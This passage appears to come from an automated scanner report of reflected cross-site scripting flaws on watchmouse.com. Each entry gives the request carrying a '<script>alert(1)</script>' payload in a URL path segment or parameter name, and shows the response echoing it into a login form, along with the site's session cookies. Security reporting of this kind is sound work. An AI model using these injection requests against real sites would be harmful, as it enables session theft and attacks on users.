Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-e29f3cca7c81fbbba05ee608264448c7"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/feature/public-status-page.html37bea"><script>alert(1)</script>2f317ab17df" method="post">
...[SNIP]...

1.716. http://www.watchmouse.com/pt/feature/public-status-page.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/public-status-page.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5c30"><script>alert(1)</script>c8fddd3c473 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature/public-status-page.html?c5c30"><script>alert(1)</script>c8fddd3c473=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:05 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-f7455fd155c13955f2e997f6ae684f48"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24958

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="/pt/feature/public-status-page.html?c5c30"><script>alert(1)</script>c8fddd3c473=1" method="post">
...[SNIP]...

1.717. http://www.watchmouse.com/pt/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 809ea"><script>alert(1)</script>04d2eeb1873 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pt809ea"><script>alert(1)</script>04d2eeb1873/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1539b8c967c00204405c5ff52c3a5465"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pt809ea"><script>alert(1)</script>04d2eeb1873/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.718. http://www.watchmouse.com/pt/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72ad6"><script>alert(1)</script>d87ec8a5f84 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature72ad6"><script>alert(1)</script>d87ec8a5f84/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-aa4ff1bff053f4cde59536edbef93bfe"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/feature72ad6"><script>alert(1)</script>d87ec8a5f84/the-watchmouse-api.html" method="post">
...[SNIP]...

1.719. http://www.watchmouse.com/pt/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edb22"><script>alert(1)</script>bc7eab0d73b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature/the-watchmouse-api.htmledb22"><script>alert(1)</script>bc7eab0d73b HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:42 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-1231fc4ffc05dfffdcafdcc1c8abad33"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/feature/the-watchmouse-api.htmledb22"><script>alert(1)</script>bc7eab0d73b" method="post">
...[SNIP]...

1.720. http://www.watchmouse.com/pt/feature/the-watchmouse-api.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/the-watchmouse-api.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a395"><script>alert(1)</script>14011895944 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature/the-watchmouse-api.html?9a395"><script>alert(1)</script>14011895944=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-1c2481b9d96a31b0ae47b96360d78bf8"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23761

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="/pt/feature/the-watchmouse-api.html?9a395"><script>alert(1)</script>14011895944=1" method="post">
...[SNIP]...

1.721. http://www.watchmouse.com/pt/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f4f5"><script>alert(1)</script>62a04acc999 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pt4f4f5"><script>alert(1)</script>62a04acc999/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-eadb5d90f73b1d61b669e17cd33c3cb1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pt4f4f5"><script>alert(1)</script>62a04acc999/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.722. http://www.watchmouse.com/pt/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8641"><script>alert(1)</script>70149e6b44a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/featureb8641"><script>alert(1)</script>70149e6b44a/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-a37a8b1ff000c5f9223f853c48273bcb"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13914

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/featureb8641"><script>alert(1)</script>70149e6b44a/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.723. http://www.watchmouse.com/pt/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2c77"><script>alert(1)</script>7b6191cfcb8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature/transaction-monitoring-web-application-testing.htmlf2c77"><script>alert(1)</script>7b6191cfcb8 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-9196c5ad0fa4a49ff5c4c580959e2de6"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13914

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/feature/transaction-monitoring-web-application-testing.htmlf2c77"><script>alert(1)</script>7b6191cfcb8" method="post">
...[SNIP]...

1.724. http://www.watchmouse.com/pt/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52156"><script>alert(1)</script>30272f1c345 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/feature/transaction-monitoring-web-application-testing.html?52156"><script>alert(1)</script>30272f1c345=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:09 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-c5ce188c5fc264194930d5faafc7ef9c"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24124

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="/pt/feature/transaction-monitoring-web-application-testing.html?52156"><script>alert(1)</script>30272f1c345=1" method="post">
...[SNIP]...

1.725. http://www.watchmouse.com/pt/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6089d"><script>alert(1)</script>05eb386590a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pt6089d"><script>alert(1)</script>05eb386590a/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-fc131d46c746da2b908ecf9dea81aaaf"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pt6089d"><script>alert(1)</script>05eb386590a/learn_more.php" method="post">
...[SNIP]...

1.726. http://www.watchmouse.com/pt/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2c1b"><script>alert(1)</script>bb6e630e3c6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/learn_more.phpa2c1b"><script>alert(1)</script>bb6e630e3c6 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-ccdd5445a262744aae53b4ef668f593f"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13509

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/learn_more.phpa2c1b"><script>alert(1)</script>bb6e630e3c6" method="post">
...[SNIP]...

1.727. http://www.watchmouse.com/pt/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfd07"><script>alert(1)</script>5d50cf5a346 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/learn_more.php?bfd07"><script>alert(1)</script>5d50cf5a346=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:09 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:10:10 GMT
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46366

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/learn_more.php?bfd07"><script>alert(1)</script>5d50cf5a346=1" method="post">
...[SNIP]...

1.728. http://www.watchmouse.com/pt/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 108bf"><script>alert(1)</script>74bc4dcdc73 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pt108bf"><script>alert(1)</script>74bc4dcdc73/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-39f89981f40d05bf5ae2ea15dc2b8d4c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pt108bf"><script>alert(1)</script>74bc4dcdc73/plans_price.php" method="post">
...[SNIP]...

1.729. http://www.watchmouse.com/pt/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eba27"><script>alert(1)</script>3de6eb0507e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

